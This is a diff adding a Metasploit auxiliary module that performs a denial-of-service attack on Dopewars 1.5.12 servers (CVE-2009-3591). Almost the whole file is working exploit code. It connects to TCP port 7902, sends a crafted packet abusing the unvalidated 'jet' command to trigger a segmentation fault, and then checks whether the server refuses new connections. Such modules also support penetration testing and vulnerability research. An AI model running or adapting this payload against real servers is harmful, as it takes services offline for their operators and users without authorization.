|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit4 < Msf::Auxiliary |
| 11 | + |
| 12 | + include Msf::Exploit::Remote::Tcp |
| 13 | + include Msf::Auxiliary::Dos |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'Dopewars Denial of Service', |
| 18 | + 'Description' => %q{ |
| 19 | + The jet command in Dopewars 1.5.12 is vulnerable to a segmentaion fault due to a lack of input validation. |
| 20 | + }, |
| 21 | + 'Author' => [ 'Doug Prostko <dougtko[at]gmail.com>' ], |
| 22 | + 'License' => MSF_LICENSE, |
| 23 | + 'References' => |
| 24 | + [ |
| 25 | + [ 'BID', '36606' ], |
| 26 | + [ 'CVE', '2009-3591' ], |
| 27 | + ])) |
| 28 | + |
| 29 | + register_options([Opt::RPORT(7902),], self.class) |
| 30 | + end |
| 31 | + |
| 32 | + def run |
| 33 | + # The jet command is vulnerable. |
| 34 | + # Program received signal SIGSEGV, Segmentation fault. |
| 35 | + # [Switching to Thread 0xb74916c0 (LWP 30638)] |
| 36 | + # 0x08062f6e in HandleServerMessage (buf=0x8098828 "", Play=0x809a000) at |
| 37 | + # serverside.c:525 |
| 38 | + # 525 dopelog(4, LF_SERVER, "%s jets to %s", |
| 39 | + # |
| 40 | + connect |
| 41 | + pkt = "foo^^Ar1111111\n^^Acfoo\n^AV65536\n" |
| 42 | + print_status("Sending dos packet...") |
| 43 | + sock.put(pkt) |
| 44 | + disconnect |
| 45 | + |
| 46 | + print_status("Checking for success...") |
| 47 | + sleep 2 |
| 48 | + begin |
| 49 | + connect |
| 50 | + rescue ::Interrupt |
| 51 | + raise $! |
| 52 | + rescue ::Rex::ConnectionRefused |
| 53 | + print_good("Dopewars server succesfully shut down!") |
| 54 | + else |
| 55 | + print_error("DOS attack unsuccessful") |
| 56 | + ensure |
| 57 | + disconnect |
| 58 | + end |
| 59 | + end |
| 60 | +end |
0 commit comments